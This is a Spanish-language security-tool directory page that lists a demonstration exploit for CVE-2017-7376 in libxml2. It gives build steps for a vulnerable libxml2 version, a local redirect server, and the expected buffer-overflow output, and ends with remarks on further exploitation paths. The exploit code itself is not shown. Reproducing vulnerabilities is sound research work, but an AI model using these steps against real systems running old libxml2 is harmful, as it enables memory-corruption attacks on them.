Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
libxml2-exploit — Un exploit de ejemplo para CVE-2017-7376 | Kitploit
Herramientas/GitHubGitHub/brahmstaedt/libxml2-exploit
Análisis de VulnerabilidadesExplotaciónSeguridad WebFuzzingExplotación de Binarios
GitHubbrahmstaedt/libxml2-exploit

libxml2-exploit

Un exploit de ejemplo para CVE-2017-7376

Ver Repositorio
33hace 6 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

libxml2-exploit

Un exploit de ejemplo para CVE-2017-7376

Instalación

Descarga este repositorio y una versión vulnerable de libxml2, p. ej. v2.7.7:

root@kitploit:~
git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2

Preparación

root@kitploit:~
cd libxml2

preparar libxml2

Para hacer más visible el éxito del exploit, añade código para detectar el desbordamiento de búfer en libxml2. No es necesario, si tienes otros medios de visibilidad, como que la aplicación falle.

root@kitploit:~
git apply ../nanohttp.patch

compilar libxml2

root@kitploit:~
./autogen.sh --prefix=$(pwd)/ --without-python
make
make install

En caso del siguiente error:

root@kitploit:~
aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'

Reemplaza en configure.in AM_C_PROTOTYPES por dnl AM_C_PROTOTYPES, por ejemplo, así:

root@kitploit:~
sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i

Vuelve atrás

root@kitploit:~
cd ..

preparar servidor web

Este exploit requiere un servidor web que responda con una redirección a una nueva URL con un número de puerto mayor de 5 dígitos y por debajo de int32max (2147483648 = 2^32/2).

Inicia el servidor (requiere node JS y que el puerto 127.0.0.1:8080 esté libre):

root@kitploit:~
node http.js &

Prueba el servidor web; debería quejarse del número de puerto no válido 2147426192:

root@kitploit:~
wget localhost:8080

Compilar

root@kitploit:~
make

Ejecutar

root@kitploit:~
./run.sh

Salida esperada:

root@kitploit:~
Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml

Por hacer

Este exploit de demostración requiere que el programa principal ejecute xmlXIncludeProcess() para alcanzar el código defectuoso en libxml2, lo cual no es probable que se use en muchas implementaciones reales. Pero además, nanohttp.c menciona en el comentario que es una minimalist HTTP GET implementation to fetch external subsets, lo que puede ofrecer otra vía de explotación.

Descargar herramienta